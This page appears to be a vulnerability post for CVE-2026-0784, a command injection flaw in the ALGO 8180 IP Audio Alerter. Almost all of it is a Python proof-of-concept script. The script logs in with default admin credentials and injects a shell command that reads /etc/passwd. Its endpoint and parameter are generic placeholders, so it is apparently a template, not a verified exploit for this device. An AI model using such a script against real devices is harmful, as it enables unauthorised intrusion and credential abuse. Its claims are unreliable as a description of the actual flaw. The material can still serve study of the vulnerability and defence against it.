CVE-2026-0784 ALGO 8180 IP Audio Alerter命令注入远程代码执行漏洞

import requests import sys # CVE-2026-0784 PoC - ALGO 8180 IP Audio Alerter Command Injection # Authentication required, low privilege is sufficient target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.local' username = 'admin' password = 'admin' # Default or known credentials # Login to get session session = requests.Session() login_data = { 'username': username, 'password': password } try: # Attempt login login_resp = session.post(f'{target}/login', data=login_data, timeout=10) # Command injection payload - execute arbitrary command # Target parameter vulnerable to command injection inject_payload = { 'param': 'value; cat /etc/passwd #' # Example: read system file } # Send malicious request exploit_resp = session.post( f'{target}/api/vulnerable_endpoint', data=inject_payload, timeout=10 ) print(f'Status: {exploit_resp.status_code}') print(f'Response: {exploit_resp.text}') except requests.exceptions.RequestException as e: print(f'Error: {e}')